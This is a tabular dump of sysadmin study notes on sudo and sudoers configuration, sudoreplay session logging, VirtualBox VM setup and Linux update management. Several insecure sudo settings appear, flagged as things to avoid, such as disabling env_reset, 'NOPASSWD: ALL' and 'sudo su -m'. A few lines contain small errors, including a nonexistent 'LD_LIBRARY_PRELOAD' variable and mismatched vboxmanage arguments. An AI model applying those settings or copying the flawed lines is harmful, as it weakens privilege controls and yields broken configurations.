10:09:46.652266 0 +5255 1545 jessica ALL = NOEXEC: sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:09:46.672341 0 +5256 1546 `sudoedit` looks for one of the indications that specify user specified editor, and when one is found, that editor will be used: text txt 2024-07-28 10:09:46.918865 0 +5257 1546 * `$SUDO_EDITOR`, `$VISUAL`, `$EDITOR`: `sudoedit` looks for evironment variables.\n* `Defaults editor = /usr/bin/vi`: `sudoedit` looks for `editor` option. This overrides environment variables.\n* `/usr/bin/vi`: When no options are found, `vi` is used by default. text txt 2024-07-28 10:09:46.939187 0 +5258 1547 Defaults editor = /usr/bin/vim code txt 2024-07-28 10:09:47.155259 0 +5259 1548 sudo -V code txt 2024-07-28 10:09:47.411038 0 +5260 1549 /etc/sudo.conf code txt 2024-07-28 10:09:47.658903 0 +5261 1550 * Plugin\n* Path\n* Set\n* Debug text txt 2024-07-28 10:09:47.882848 0 +5262 1551 Shared object files can be specified in full path. text txt 2024-07-28 10:09:48.190557 0 +5263 1551 Only one sudo policy engine can be used at a time. text txt 2024-07-28 10:09:48.21098 0 +5264 1551 Plugin sudoers_policy sudoers.so\nPlugin sudoers_io sudoers.so code txt 2024-07-28 10:09:48.230703 0 +5265 1552 The `NOEXEC` tag uses a shared library to replace the system calls that execute programs with system calls of the same name that return errors. text txt 2024-07-28 10:09:48.550236 0 +5266 1552 You should never need to use any noexec shared library other than the one included with `sudo`. text txt 2024-07-28 10:09:48.571398 0 +5267 1552 You'll normally use a path to do things like call an external password program. text txt 2024-07-28 10:09:48.59218 0 +5268 1552 Path noexec /usr/lib/sudo/sudo_noexec.so code txt 2024-07-28 10:09:48.612975 0 +5269 1553 Set commands are generally switches with predefined values such as true and false. text txt 2024-07-28 10:09:48.94566 0 +5270 1553 Sudo normally keeps sensitive security information in memory, and discards it as soon as possible.\nA core dump file from a crashed sudo process would contain all of that sensitive security information.\nSudo therefore disables core dumps by default. text txt 2024-07-28 10:09:48.967618 0 +5271 1553 Set disable_coredump false code txt 2024-07-28 10:09:48.987446 0 +5272 1554 *FreeBSD*\nsudo sysctl kern.sugid_coredump 1 code txt 2024-07-28 10:09:49.433893 0 +5273 1554 *OpenBSD*\nsudo sysctl kern.nosuidcoredump 0 code txt 2024-07-28 10:09:49.456143 0 +5275 1555 * `$TERM`\n* `$PATH`\n* `$HOME`\n* `$MAIL`\n* `$SHELL`\n* `$LOGNAME`\n* `$USER`\n* `$USERNAME` text txt 2024-07-28 10:09:49.829255 0 +5276 1556 You can have as many `env_keep` statements as you need, and can match them to specific `user`, `host`, `command`, and `run-as` lists. text txt 2024-07-28 10:09:50.069928 0 +5277 1556 Defaults env_keep += "LANG LANGUAGE" code txt 2024-07-28 10:09:50.089456 0 +5278 1557 The `env_reset` option tells `sudo` to remove all environment variables except a trusted few. It's set by default. Don't disable it. text txt 2024-07-28 10:09:50.3924 0 +5279 1557 This will definitely cause privilege escalation. text txt 2024-07-28 10:09:50.413015 0 +5280 1557 Defaults !env_reset code txt 2024-07-28 10:09:50.433286 0 +5281 1558 Defaults env_delete += "LD_LIBRARY_PRELOAD" code txt 2024-07-28 10:09:50.713477 0 +5282 1558 Users retain their entire environment, except for `LD_LIBRARY_PRELOAD`. text txt 2024-07-28 10:09:50.735107 0 +5283 1559 Use the `SETENV` and `NOSETENV` tags on commands to let the users ask `sudo` to not alter their environment variables. text txt 2024-07-28 10:09:51.406556 0 +5284 1559 `SETENV` tag permits users to keep their environment on request: text txt 2024-07-28 10:09:51.426695 0 +5285 1559 Users must specifically ask `sudo` to not change their environment by using `-E` flag. text txt 2024-07-28 10:09:51.447091 0 +5286 1559 Without the `–E` flag, `sudo` will perform its standard environment stripping despite the presence of `NOSETENV` in sudoers. text txt 2024-07-28 10:09:51.467326 0 +5287 1559 Use the tag `NOSETENV` to override a previous `SETENV`. text txt 2024-07-28 10:09:51.487575 0 +5288 1559 julia db1 = (mysql) SETENV: /opt/mysql/bin/*\njulia db1 = (mysql) NOSETENV: /opt/mysql/bin/secure_install code txt 2024-07-28 10:09:51.508351 0 +5289 1559 On the machine `db1`, `julia` can use her own environment to run MySQL commands as `mysql` user. text txt 2024-07-28 10:09:51.529622 0 +5290 1559 sudo -E -u mysql /opt/mysql/bin/mysql code txt 2024-07-28 10:09:51.551275 0 +5291 1559 Update sudoers policy in production once she understands what she needs. text txt 2024-07-28 10:09:51.572055 0 +5292 1559 Defaults:julia setenv code txt 2024-07-28 10:09:51.592499 0 +5293 1559 `julia` can override her environment anywhere, provided she uses the `-E` flag with `sudo`. text txt 2024-07-28 10:09:51.612502 0 +5294 1560 Having `sudo` initialize an environment as the target user is the best way to manage application servers highly dependent on their startup environment. text txt 2024-07-28 10:09:51.942066 0 +5295 1560 Many Java server-side applications take their configuration from environment variables, and those variables might not be correct in your personal environment.\nBy configuring that environment in a single account, you eliminate one threat to the application's stability. text txt 2024-07-28 10:09:51.962136 0 +5296 1560 sudo -i /usr/bin/command code txt 2024-07-28 10:09:51.98182 0 +5297 1561 You can use `SUDO_USER` in log messages. text txt 2024-07-28 10:09:52.314582 0 +5298 1561 * `SUDO_COMMAND`\n* `SUDO_USER`\n* `SUDO_UID`\n* `SUDO_GID` text txt 2024-07-28 10:09:52.336138 0 +5299 1561 The `SUDO_COMMAND` variable is set to the exact command you ran under `sudo` to start this session.\n`SUDO_USER` gives your original username.\n`SUDO_UID` and `SUDO_GID` give your original user ID and primary group ID. text txt 2024-07-28 10:09:52.35713 0 +5300 1562 Bad things can happen when commands like `passwd` are not ran from their original location in `PATH`. text txt 2024-07-28 10:09:52.641856 0 +5301 1562 Defaults secure_path = "/bin /usr/bin /usr/local/bin" code txt 2024-07-28 10:09:52.661775 0 +5302 1563 Defaults env_file = /etc/sudoenv code txt 2024-07-28 10:09:53.068407 0 +5303 1563 */etc/sudoenv*\nFTP_PROXY=http://proxyhost:8080\nftp_proxy=http://proxyhost:8080\nHTTP_PROXY=http:// proxyhost:8080\nhttp_proxy=http:// proxyhost:8080 code txt 2024-07-28 10:09:53.089674 0 +5304 1563 `sudo` adds these environment variables before stripping out the environment, so list any added variables in an `env_keep` sudoers rule as well. text txt 2024-07-28 10:09:53.109842 0 +5305 1564 **NOTE: DO NOT DO THIS!!!** text txt 2024-07-28 10:09:53.519291 0 +5306 1564 Defaults:ADMINS shell_noargs code txt 2024-07-28 10:09:53.54027 0 +5307 1564 You can simulate `shell_noargs` on the command line by using the `-s` flag. text txt 2024-07-28 10:09:53.561434 0 +5308 1564 sudo -s code txt 2024-07-28 10:09:53.582321 0 +5309 1565 **NOTE: DO NOT DO THIS!!!** text txt 2024-07-28 10:09:53.866495 0 +5310 1565 sudo su -m code txt 2024-07-28 10:09:53.887026 0 +5311 1566 Use the `askpass` path in `sudo.conf` file: text txt 2024-07-28 10:09:54.178284 0 +5312 1566 Path askpass /usr/bin/openssh-askpass code txt 2024-07-28 10:09:54.198421 0 +5313 1566 When `sudo` needs a password and doesn't have a terminal to ask for one, it uses the `askpass` setting from `sudo.conf`. text txt 2024-07-28 10:09:54.218206 0 +5314 1567 Defaults requiretty code txt 2024-07-28 10:09:54.513536 0 +5315 1567 The requiretty option tells sudo to only work if the command is run in a terminal.\nEnabling this option in sudoers means that programs cannot run without a terminal. text txt 2024-07-28 10:09:54.533304 0 +5316 1568 openssl dgst -sha224 /usr/bin/passwd code txt 2024-07-28 10:09:54.769163 0 +5317 1569 openssl list --digest-commands code txt 2024-07-28 10:09:55.079105 0 +5318 1569 * `SHA-224` (this is good enough)\n* `SHA-256`\n* `SHA-384`\n* `SHA-512` text txt 2024-07-28 10:09:55.099357 0 +5319 1570 If the generated digest matches the digest in the sudoers rule, `sudo` will run the command.\nOtherwise, you'll get the generic **"not allowed"** message. text txt 2024-07-28 10:09:55.416566 0 +5320 1570 jeana ALL = sha224:754740695bf233b8e8c9e76e64e09afe630052a26f3f6260657eb00d /usr/bin/passwd code txt 2024-07-28 10:09:55.437656 0 +5321 1571 Cmnd_Alias FREEBSD_SENDMAIL = sha224:53AD... /usr/bin/sendmail\nCmnd_Alias LINUX_SENDMAIL = sha224:75CB... /usr/bin/sendmail\nCmnd_Alias SENDMAIL = FREEBSD_SENDMAIL, LINUX_SENDMAIL code txt 2024-07-28 10:09:55.700691 0 +5322 1572 * Do not exclude commands from an alias. Users can easily bypass command list.\n* Use the `NOEXEC` tag by default in list of commands that must run other commands.\n* Use aliases to users, hosts, run-as, and commands settings.\n* Specifically express permissions for users and avoid general rules as possible.\n* Do not give root-level privileges to shell scripts, which regularly call other programs. text txt 2024-07-28 10:09:55.973464 0 +5323 1573 Sudo still checks the local host name, and if the sudoers rule happens to match the local name, the rule matches.\nIf the name doesn't match, sudo uses DNS and compares each rule to the server's fully qualified domain name. text txt 2024-07-28 10:09:56.238908 0 +5324 1573 Defaults fqdn code txt 2024-07-28 10:09:56.260321 0 +5325 1574 Rather than using the short hostname www, you'll need the full hostname. text txt 2024-07-28 10:09:56.503924 0 +5326 1574 %devops www.example.com /usr/bin/passwd [A-z]*, !/usr/bin/passwd root code txt 2024-07-28 10:09:56.524314 0 +5327 1575 When the privileged users change the local host's name. text txt 2024-07-28 10:09:56.72187 0 +5328 1576 Use different subnets for different server roles, and define subnets as hosts. text txt 2024-07-28 10:09:56.987399 0 +5329 1576 Host_Alias WEBSERVERS = 192.0.2.0/24\nHost_Alias DBSERVERS = 192.0.3.0/24 code txt 2024-07-28 10:09:57.008571 0 +5330 1577 #include /etc/sudoers.local code txt 2024-07-28 10:09:57.217777 0 +5331 1578 #include /etc/sudoers.%h code txt 2024-07-28 10:09:57.475719 0 +5332 1578 On the machine `www` sudo would look for a file called `/etc/sudoers.www`. text txt 2024-07-28 10:09:57.496329 0 +5333 1579 The idea is that you can have a central, standard sudoers policy, and then copy additional policies to a machine based on the machine's function.\nThe host is a webserver? Copy your standard file `001-sudoers.www` to the include directory.\nDatabase server? Copy the database file.\nBoth? Then copy both. text txt 2024-07-28 10:09:57.815446 0 +5334 1579 #includedir /etc/sudoers.d code txt 2024-07-28 10:09:57.83684 0 +5335 1580 `sudo` reads and processes these files in lexical order. text txt 2024-07-28 10:09:58.143861 0 +5336 1580 The easiest way to control sorting is to have all of your included files start with numbers, and include the leading zeroes. text txt 2024-07-28 10:09:58.163812 0 +5337 1580 001-sudoers.www\n002-sudoers.db1 code txt 2024-07-28 10:09:58.184404 0 +5338 1581 visudo only checks the integrity of one file, not everything included in the sudoers file. text txt 2024-07-28 10:09:58.401614 0 +5339 1582 visudo -cf /etc/sudoers.local\nvisudo -cf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:58.663095 0 +5340 1583 visudo -csf /etc/sudoers.local\nvisudo -csf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:58.889106 0 +5341 1584 visudo -csPOf /etc/sudoers.local\nvisudo -csPOf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:59.120637 0 +5342 1585 * **simple sudo log via syslogd**\n* **debugging log**\n* **full session capture log** text txt 2024-07-28 10:09:59.413614 0 +5343 1586 *old systems using SysV Init*\n/var/log/messages\n/var/log/syslog code txt 2024-07-28 10:09:59.762842 0 +5344 1586 *systems using systemd*\njournald code txt 2024-07-28 10:09:59.78445 0 +5345 1587 */etc/sudo.conf*\nDefaults mail_always code txt 2024-07-28 10:10:00.046454 0 +5346 1588 * `mail_always`: send an email any time anyone uses sudo, successfully or not. useful in testing but not in production.\n* `mail_badpass`: send email whenever a user enters an incorrect password.\n* `mail_no_host`: send an email wherever a user tries to use `sudo` but doesn't have sudo access on that host.\n* `mail_no_perms`: send a notification whenever a user tries to run a command that they aren't permitted access to. users who try to do routine tasks with sudo mostly appear here.\n* `mail_no_user`: send an email notification whenever a user who doesn't appear in the sudo policy attempts to run `sudo`. text txt 2024-07-28 10:10:00.29068 0 +5347 1589 `notice` level is enough to identify most problems. text txt 2024-07-28 10:10:00.703947 0 +5348 1589 `trace` level is good for reporting issues to the mailing list. text txt 2024-07-28 10:10:00.724382 0 +5349 1589 * `debug`\n* `trace`\n* `info`\n* `diag`\n* `notice`\n* `warn`\n* `err`\n* `crit` text txt 2024-07-28 10:10:00.744746 0 +5350 1590 The entry needs four parts: text txt 2024-07-28 10:10:01.163884 0 +5351 1590 * debug statement\n* program or plugin to be debugged\n* the log file location\n* the subsystem and levels to be logged text txt 2024-07-28 10:10:01.183716 0 +5352 1590 You can only have one Debug statement per program or plugin. text txt 2024-07-28 10:10:01.20416 0 +5353 1590 */etc/sudo.conf*\nDebug sudo /var/log/sudo_debug all@notice code txt 2024-07-28 10:10:01.225022 0 +5354 1591 Do not log the output from `sudoreplay` itself, as you'll quickly fill your disk with log messages. text txt 2024-07-28 10:10:01.599668 0 +5355 1591 And logging output from the `reboot` and `shutdown` commands can delay the system's shutdown and recovery. text txt 2024-07-28 10:10:01.619893 0 +5356 1591 Default log_output\nDefault!/usr/bin/sudoreplay !log_output\nDefault!/usr/bin/reboot !log_output\nDefault!/usr/bin/shutdown !log_output code txt 2024-07-28 10:10:01.64 0 +5357 1592 /var/log/sudo-io code txt 2024-07-28 10:10:01.906434 0 +5358 1593 Default log_input code txt 2024-07-28 10:10:02.158653 0 +5359 1593 The `log_input` option only logs what's echoed back to the user, but some programs print sensitive information. text txt 2024-07-28 10:10:02.178473 0 +5360 1594 * `LOG_INPUT`, `LOG_OUTPUT`\n* `NOLOG_INPUT`, `NOLOG_OUTPUT` text txt 2024-07-28 10:10:02.398673 0 +5361 1595 ADMINS ALL = /usr/bin/sudoreplay code txt 2024-07-28 10:10:02.616899 0 +5362 1596 sudo sudoreplay -l code txt 2024-07-28 10:10:02.831158 0 +5363 1597 sudo runs logged sessions in a new pseudoterminal, so it can capture all input and/or output. text txt 2024-07-28 10:10:03.076717 0 +5364 1597 sudo sudoreplay code txt 2024-07-28 10:10:03.097273 0 +5365 1598 * To inteactively change the replay speed, use `<` and `>` keys.\n* To preemtively adjust the replay speed, use `-s` and `-m` options, which `-m` sets maximum number of seconds to pause between changes, and `-s` changes the speed of the entire replay. text txt 2024-07-28 10:10:03.286714 0 +5366 1599 sudo sudoreplay -l command passwd code txt 2024-07-28 10:10:03.530249 0 +5367 1600 Don't include a trailing slash on the directory name.\n Also, the directory name must match exactly; searching for `/etc` will not match `/etc/ssh`. text txt 2024-07-28 10:10:03.824729 0 +5368 1600 sudo sudoreplay -l cwd /etc code txt 2024-07-28 10:10:03.845239 0 +5369 1601 sudo sudoreplay -l user jessica code txt 2024-07-28 10:10:04.080383 0 +5370 1602 sudo sudoreplay -l group devops code txt 2024-07-28 10:10:04.323431 0 +5371 1603 sudo sudoreplay -l runas olivia code txt 2024-07-28 10:10:04.560226 0 +5372 1604 sudo sudoreplay -l tty console code txt 2024-07-28 10:10:04.797591 0 +5373 1605 sudo sudoreplay -l fromdate "last week"\nsudo sudoreplay -l todate today code txt 2024-07-28 10:10:05.077833 0 +5374 1606 sudo sudoreplay -l fromdate "last week" todate "next week" user christina code txt 2024-07-28 10:10:05.307001 0 +5375 1607 sudo sudoreplay -l user ammy or user jeana code txt 2024-07-28 10:10:05.544415 0 +5376 1608 sudo sudoreplay -l (command /usr/bin/sh or command /usr/bin/bash) user alisa code txt 2024-07-28 10:10:05.808431 0 +5377 1609 Running shell scripts with sudo will leave lots of ways for unauthorized users to escalate their privileges.\n`sudo` is useful, but a sysadmin who understands when a specific tool won't solve their problem is more useful. text txt 2024-07-28 10:10:06.064521 0 +5378 1610 Download and install VirtualBox and the VirtualBox Extension Pack from https://www.virtualbox.org - https://www.virtualbox.org/. text txt 2024-07-28 10:10:09.781762 0 +5379 1610 Get version of installed VirtualBox: text txt 2024-07-28 10:10:09.802839 0 +5380 1610 vbox_version="$(vboxmanage --version | sed 's/[^0-9.].*//')" code txt 2024-07-28 10:10:09.822768 0 +5381 1610 Check if extension pack is already installed: text txt 2024-07-28 10:10:09.84429 0 +5382 1610 vboxmanage list extpacks | grep 'Version:' | awk '{print $2}' | grep -q "${vbox_version}" && echo "extpack for ${vbox_version} already exists" code txt 2024-07-28 10:10:09.865037 0 +5383 1610 Install extension pack otherwise: text txt 2024-07-28 10:10:09.885747 0 +5384 1610 vbox_sum256="$(wget -O - -q "https://www.virtualbox.org - https://www.virtualbox.org/download/hashes/${vbox_version}/SHA256SUMS" | grep "${vbox_version}.vbox-extpack" | cut -d' ' -f1)"\nwget -c "https://download.virtualbox.org - https://download.virtualbox.org/virtualbox/${vbox_version}/Oracle_VM_VirtualBox_Extension_Pack-${vbox_version}.vbox-extpack" -O /tmp/${vbox_version}.vbox-extpack\nvboxmanage extpack install --replace --accept-license=${vbox_sum256} /tmp/${vbox_version}.vbox-extpack code txt 2024-07-28 10:10:09.907787 0 +5430 1617 sudo apt install unattended-upgrades code txt 2024-07-28 10:10:14.008694 0 +5675 1659 sudo authselect list code txt 2024-07-28 10:10:40.135671 0 +5385 1610 Download the installation `.iso` files for Ubuntu Server 22.04, CentOS 7, AlmaLinux8, and AlmaLinux9 from https://ubuntu.com - https://ubuntu.com/, https://almalinux.org/, and https://www.centos.org/. text txt 2024-07-28 10:10:09.928435 0 +5386 1610 Create a virtual machine and register it: text txt 2024-07-28 10:10:09.95044 0 +5387 1610 vboxmanage createvm --name ubuntu --ostype archlinux_64 --basefolder $HOME/VMs --register code txt 2024-07-28 10:10:09.972278 0 +5388 1610 Increase the memory, virtual memory and cpu count: text txt 2024-07-28 10:10:09.992606 0 +5389 1610 vboxmanage modifyvm ubuntu --cpus 2 --memory 2048 --vram 128 code txt 2024-07-28 10:10:10.0135 0 +5390 1610 Create a virtual drive controller and medium and attach to the virtual machine: text txt 2024-07-28 10:10:10.033457 0 +5391 1610 vboxmanage storagectl ubuntu --add SATA --type sata --controller IntelAhci\nvboxmanage createmedium disk --filename $HOME/VMs/ubuntu/ubuntu.vdi --size $((1024 * 20)) --format VDI\nvboxmanage storageattach sample --storagectl SATA --medium $HOME/VMs/ubuntu/ubuntu.vdi mtype normal --type hdd --port 0 code txt 2024-07-28 10:10:10.05522 0 +5392 1610 Create a DVD drive, insert the `.iso` file into it and attach to the virtual machine: text txt 2024-07-28 10:10:10.075357 0 +5393 1610 vboxmanage createmedium dvd --filename $HOME/VMs/ubuntu/ubuntu.dvd --size $((1024 * 4))\nvboxmanage storageattach ubuntu --storagectl SATA --medium $HOME/VMs/ubuntu/ubuntu.dvd --mtype normal --type dvddrive --port 1 code txt 2024-07-28 10:10:10.096766 0 +5394 1610 Create a NAT network and enable port forwarding: text txt 2024-07-28 10:10:10.116888 0 +5395 1610 code txt 2024-07-28 10:10:10.136279 0 +5396 1610 Start the new virtual machine: text txt 2024-07-28 10:10:10.155917 0 +5397 1610 vboxmanage startvm ubuntu --type gui code txt 2024-07-28 10:10:10.175856 0 +5398 1610 Now install Ubuntu and take a snapshot after the clean setup: text txt 2024-07-28 10:10:10.196594 0 +5399 1610 vboxmanage snapshot ubuntu take post-installation code txt 2024-07-28 10:10:10.217144 0 +5400 1611 While the **Ubuntu** package repositories have pretty much everything that you need, the **CentOS** and **AlmaLinux** package repositories are lacking.\nYou’ll need to install the EPEL repository. (The EPEL project is run by the Fedora team.)\nWhen you install third-party repositories on Red Hat 7 and CentOS 7 systems, you’ll also need to install a priorities package and edit the `.repo` files to set the proper priorities for each repository.\nThis will prevent packages from the third-party repository from overwriting official Red Hat and CentOS packages if they just happen to have the same name.\nThe two packages that you’ll need to install EPEL are in the normal CentOS 7 repositories. text txt 2024-07-28 10:10:11.057697 0 +5401 1611 sudo yum install yum-plugin-priorities epel-release code txt 2024-07-28 10:10:11.077864 0 +5402 1611 When the installation completes, navigate to the `/etc/yum.repos.d` directory, and open the `CentOS-Base.repo` file in your favorite text editor.\nAfter the last line of the `base`, `updates`, and extras sections, add the line `priority=1`.\nAfter the last line of the `centosplus` section, add the line `priority=2`.\nOpen the `epel.repo` file for editing.\nAfter the last line of the `epel` section, add the line `priority=10`.\nAfter the last line of each remaining section, add the line `priority=11`.\nUpdate the system and then create a list of the installed and available packages: text txt 2024-07-28 10:10:11.100766 0 +5403 1611 sudo yum upgrade sudo yum list > yum_list.txt code txt 2024-07-28 10:10:11.120116 0 +5404 1611 To install the EPEL repository on **AlmaLinux**, all you have to do is run this command: text txt 2024-07-28 10:10:11.141008 0 +5405 1611 sudo dnf install epel-release code txt 2024-07-28 10:10:11.160552 0 +5406 1611 There’s no priorities package as there is on CentOS 7 and earlier, so we won’t have to worry about configuring the repository priorities.\nWhen the package installation is complete, update the system and create a list of available sof t ware packages with these two commands: text txt 2024-07-28 10:10:11.182831 0 +5407 1611 sudo dnf upgrade sudo dnf list > dnf_list.txt code txt 2024-07-28 10:10:11.203673 0 +5408 1612 Spend some time perusing the Common Vulnerabilities and Exposures database on https://cve.mitre.org - https://cve.mitre.org/ and you’ll soon see why it’s so important to keep your systems updated. text txt 2024-07-28 10:10:11.428632 0 +5409 1613 run two commands: text txt 2024-07-28 10:10:11.703276 0 +5410 1613 sudo apt update\nsudo apt dist-upgrade code txt 2024-07-28 10:10:11.724137 0 +5411 1614 sudo apt auto-remove code txt 2024-07-28 10:10:11.942448 0 +5412 1616 When you first install Ubuntu, automatic updates are turned on by default.\nTo verify that, you’ll first check the status of the `unattended-upgrades` service: text txt 2024-07-28 10:10:12.571179 0 +5413 1616 systemctl status unattended-upgrades code txt 2024-07-28 10:10:12.590671 0 +5414 1616 Then, look in the `/etc/apt/apt.conf.d/20auto-upgrades` file. If *auto-updating* is enabled, you’ll see this: text txt 2024-07-28 10:10:12.610852 0 +5415 1616 ```\nAPT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "1";\n`````` text txt 2024-07-28 10:10:12.631454 0 +5416 1617 By default, Ubuntu systems don’t automatically reboot after an update is installed.\nIf you keep it that way, you’ll see a message about it when you log into the system.\nBut if you prefer, you can set Ubuntu to automatically reboot after it automatically updates itself. text txt 2024-07-28 10:10:13.719508 0 +5417 1617 Go into the `/etc/apt/apt.conf.d` directory and open the `50unattended-upgrades` file in your favorite text editor, you’ll see a line that says: text txt 2024-07-28 10:10:13.741511 0 +5418 1617 Unattended-Upgrade::Automatic-Reboot "false"; code txt 2024-07-28 10:10:13.762933 0 +5419 1617 With this new configuration, Ubuntu will now reboot itself immediately after the automatic update process has completed.\nIf you’d rather have the machine reboot at a specific time, scroll down where you’ll see this: text txt 2024-07-28 10:10:13.783446 0 +5420 1617 //Unattended-Upgrade::Automatic-Reboot-Time "02:00"; code txt 2024-07-28 10:10:13.80437 0 +5421 1617 To disable automatic updates, just go into the `/etc/apt/apt.conf.d` directory and open the `20auto-upgrades` file in your favorite text editor, you’ll see: text txt 2024-07-28 10:10:13.825877 0 +5422 1617 APT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "1"; code txt 2024-07-28 10:10:13.845939 0 +5423 1617 Change the parameter for that second line to 0, so that the file will now look like this: text txt 2024-07-28 10:10:13.8661 0 +5424 1617 APT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "0"; code txt 2024-07-28 10:10:13.887099 0 +5425 1617 If you want to see if there are any security-related updates available, but don’t want to see any non-security updates, use the unattended-upgrade command, like so: text txt 2024-07-28 10:10:13.907722 0 +5426 1617 sudo unattended-upgrade --dry-run -d code txt 2024-07-28 10:10:13.927619 0 +5427 1617 8. To manually install the security-related updates without installing non-security updates, just run: text txt 2024-07-28 10:10:13.94751 0 +5428 1617 sudo unattended-upgrade -d code txt 2024-07-28 10:10:13.967417 0 +5429 1617 Also, if you’re running a non-Ubuntu flavor of Debian, which would include Rasp-bian for the Raspberry Pi, you can give it the same functionality as Ubuntu by installing the unattended-upgrades package. Just run this command: text txt 2024-07-28 10:10:13.98789 0 +5431 1618 There’s no automatic update mechanism on Red Hat-based systems, which include CentOS and Oracle Linux.\nSo, with the default configuration, you’ll need to perform updates yourself: text txt 2024-07-28 10:10:14.920646 0 +5432 1618 To update a Red Hat 7-based system, just run this one command: text txt 2024-07-28 10:10:14.941234 0 +5433 1618 sudo yum upgrade code txt 2024-07-28 10:10:14.961812 0 +5434 1618 To see only security updates that are ready to be installed: text txt 2024-07-28 10:10:14.982342 0 +5435 1618 sudo yum updateinfo list updates security code txt 2024-07-28 10:10:15.002701 0 +5436 1618 To only install the security updates: text txt 2024-07-28 10:10:15.023211 0 +5437 1618 sudo yum upgrade --security code txt 2024-07-28 10:10:15.043953 0 +5438 1618 To make CentOS system automatically update itself, install and enable `yum-cron` service: text txt 2024-07-28 10:10:15.064307 0 +5439 1618 sudo yum install yum-cron\nsudo systemctl enable --now yum-cron code txt 2024-07-28 10:10:15.086095 0 +5440 1618 To configure `yum-cron` service, edit `/etc/yum/yum-cron.conf` file: text txt 2024-07-28 10:10:15.106384 0 +5441 1618 update_cmd = security text txt 2024-07-28 10:10:15.126838 0 +5442 1618 download_updates = yes\napply_updates = no code txt 2024-07-28 10:10:15.147851 0 +5443 1618 If you want the updates to get automatically installed, change the `apply_updates` parameter to `yes`. text txt 2024-07-28 10:10:15.168197 0 +5444 1618 Note that unlike Ubuntu, there’s no setting to make Red Hat 7-based systems automatically reboot themselves after an update. text txt 2024-07-28 10:10:15.190399 0 +5445 1619 Mail settings for yum-cron can be found in `/etc/yum/yum-cron.conf` file. text txt 2024-07-28 10:10:15.582427 0 +5446 1619 The `email_to` line is set to send messages to the root user account.\nIf you want to receive messages on your own account, just change it here. text txt 2024-07-28 10:10:15.603368 0 +5447 1619 To see the messages, you’ll need to install a mail reader program like **mutt**, if one isn’t already installed. text txt 2024-07-28 10:10:15.623787 0 +5448 1619 sudo yum install mutt code txt 2024-07-28 10:10:15.644746 0 +5449 1620 Make sure `needs-restarting` is installed: text txt 2024-07-28 10:10:15.981063 0 +5450 1620 sudo yum install yum-utils code txt 2024-07-28 10:10:16.000405 0 +5451 1620 * `sudo needs-restarting`: This shows the services that need to be restarted, and the reasons why the system might need to be rebooted.\n* `sudo needs-restarting -s`: This only shows the services that need to be restarted.\n* `sudo needs-restarting -r`: This only shows the reasons why the system needs to be rebooted. text txt 2024-07-28 10:10:16.021298 0 +5452 1621 For the most part, you use `dnf` the same way that you’d use `yum`, with the same arguments and options. text txt 2024-07-28 10:10:16.689497 0 +5453 1621 sudo dnf upgrade code txt 2024-07-28 10:10:16.710663 0 +5454 1621 The main functional difference between `yum` and `dnf` is that `dnf` has a different automatic update mechanism.\nInstead of installing the `yum-cron` package, you’ll now install the `dnf-automatic` package: text txt 2024-07-28 10:10:16.731788 0 +5455 1621 sudo dnf install dnf-automatic code txt 2024-07-28 10:10:16.75332 0 +5456 1621 Configure the `/etc/dnf directory/automatic.conf` file the same way as you did the yum-cron.conf file for CentOS 7. text txt 2024-07-28 10:10:16.774758 0 +5457 1621 Instead of working as a cron job, as the old `yum-cron` did, `dnf-automatic` works with a systemd timer.\nWhen you first install `dnf-automatic`, the timer is disabled.\nEnable it and start it by running this command: text txt 2024-07-28 10:10:16.796007 0 +5458 1621 sudo systemctl enable --now dnf-automatic.timer code txt 2024-07-28 10:10:16.816502 0 +5459 1621 To determine if a system needs to be restarted, just install the `yum-utils` package and run the `needs-restarting` command, the same as you did for CentOS 7.\n(For some reason, the Red Hat developers never bothered to change the package name to `dnf-utils`.) text txt 2024-07-28 10:10:16.838667 0 +5460 1622 Using `su -` to log in to the root command prompt does not let `sudo` to record user activity.\nFor that reason, getting access to the root command prompt should be prevented. text txt 2024-07-28 10:10:17.078905 0 +5461 1623 The first method is to add users to a predefined administrators group and then, if it hasn’t already been done, to configure the sudo policy to allow that group to do its job.\nIt’s simple enough to do except that different Linux distro families use different admin groups. text txt 2024-07-28 10:10:17.613589 0 +5462 1623 On Unix, BSD, and most Linux systems, you would add users to the **wheel** group. text txt 2024-07-28 10:10:17.63377 0 +5463 1623 Edit sudo policy file by doing `sudo visudo`: text txt 2024-07-28 10:10:17.654201 0 +5464 1623 %wheel ALL=(ALL) ALL code txt 2024-07-28 10:10:17.674439 0 +5465 1623 The percent sign indicates that we’re working with a group.\nThe three appearances of *ALL* mean that members of that group can perform *ALL* commands, as *ALL* users, on *ALL* machines in the network on which this policy is deployed. text txt 2024-07-28 10:10:17.694946 0 +5466 1623 %wheel ALL=(ALL) NOPASSWD: ALL code txt 2024-07-28 10:10:17.715661 0 +5467 1623 The former snippet means that members of the **wheel** group would be able to perform all of their sudo tasks without ever having to enter any password.\nAvoid doing so, even for home use. text txt 2024-07-28 10:10:17.736437 0 +5468 1624 On Red Hat distros add users to the **wheel** group: text txt 2024-07-28 10:10:18.194615 0 +5469 1624 sudo usermod -a -G wheel maggie code txt 2024-07-28 10:10:18.214518 0 +5470 1624 Use `-a` option in order to prevent removing the user from other groups to which he or she belongs. text txt 2024-07-28 10:10:18.234009 0 +5471 1624 You can also add a user account to the wheel group as you create it. text txt 2024-07-28 10:10:18.253925 0 +5472 1624 sudo useradd -G wheel frank code txt 2024-07-28 10:10:18.273602 0 +5473 1624 For members of the Debian family, including Ubuntu, the procedure is the same, except that you would use the **sudo** group instead of the **wheel** group. text txt 2024-07-28 10:10:18.294523 0 +5474 1625 With a member of the Red Hat family, `useradd` comes with predefined default settings to create user accounts.\nFor non-Red Hat-type distros, you’d need to either reconfigure the default settings or use extra option switches in order to create the user’s home directory and to assign the correct shell: text txt 2024-07-28 10:10:18.739936 0 +5475 1625 *Red Hat distros* text txt 2024-07-28 10:10:18.760439 0 +5476 1625 sudo useradd -G wheel frank code txt 2024-07-28 10:10:18.780993 0 +5477 1625 *non-Red Hat distros* text txt 2024-07-28 10:10:18.801504 0 +5478 1625 sudo useradd -G wheel -m -d /home/frank -s /bin/bash frank code txt 2024-07-28 10:10:18.821724 0 +5479 1626 Create a normal user account and give it full 